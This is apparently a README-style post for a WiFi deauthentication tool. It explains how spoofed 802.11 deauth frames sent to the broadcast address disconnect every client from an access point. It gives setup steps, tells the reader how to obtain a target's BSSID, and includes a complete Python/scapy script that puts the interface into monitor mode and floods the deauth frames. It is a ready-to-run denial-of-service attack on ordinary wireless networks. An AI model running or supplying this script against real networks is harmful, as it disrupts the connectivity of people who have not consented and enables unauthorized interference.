Deauth attack
Deauthenticate all devices from a wireless network exploiting the deauthentication frame in the IEEE 802.11 standard 
except the 802.11w that offers additional protection for the management frame.
Basically, this script send a deauthentication frame to the wireless access point to the broadcast MAC address,
leading to a denial of service causing a temporarily disconnection of all devices.
If you want to see in detail how a deauth frame is structured i suggest this read.

Requirements

Beside a working wireless NIC you also need the following packages on your linux-based distribution to run the script:
  [1] net-tools and wireless-tools (wireless_tools for arch-based distros)
  [2] python3 and python-scapy

Get the BSSID

Run the iw dev wlan0 scan command and grab the respective MAC address of the chosen wireless network.
To view avaible wireless interfaces, just run iwconfig

Usage

You need to run this program with privileges. Use sudo.

usage: deauth.py [-h] [-s [SECONDS]] [-i [INTERFACE]] BSSID
Deauthenticate temporarily all devices connected to a WI-FI network (IEEE 802.11w)
positional arguments:
  BSSID                 MAC address of the wireless access point
options:
  -h, --help            show this help message and exit
  -s [SECONDS], --seconds [SECONDS]
                        disconnection time in seconds from the network. (default: 10)
  -i [INTERFACE], --interface [INTERFACE]
                        Wireless interface. (default: wlan0)

Code taken from my shitty repository
from scapy.all import *
import argparse, os

parser = argparse.ArgumentParser(description="Deauthenticate temporarily all devices connected to a WI-FI network (IEEE 802.11w)")
parser.add_argument("BSSID", help="MAC address of the wireless access point",type=str)
parser.add_argument("-s","--seconds", help="disconnection time in seconds from the network. (default: 10)", nargs="?", const=10, default=10, type=int)
parser.add_argument("-i","--interface", help="Wireless interface. (default: wlan0)", nargs="?", const="wlan0", default="wlan0", type=str)
args = parser.parse_args()

MAC_BROADCAST:str = "ff:ff:ff:ff:ff:ff"

def switch_interface(mon=True)->None:
    os.system(f"ifconfig {args.interface} down")
    os.system(f"iwconfig {args.interface} mode {'monitor'if mon else'managed'}")
    os.system(f"ifconfig {args.interface} up")

try:
    switch_interface()
    deauth = Dot11(addr1=MAC_BROADCAST,addr2=args.BSSID,addr3=args.BSSID)
    pkt = RadioTap()/deauth/Dot11Deauth(reason=7)
    sendp(pkt, inter=0.1, count=args.seconds*10, iface=args.interface, verbose=1)
    switch_interface(False)
except Exception as e:
    print(f"Error: {e}")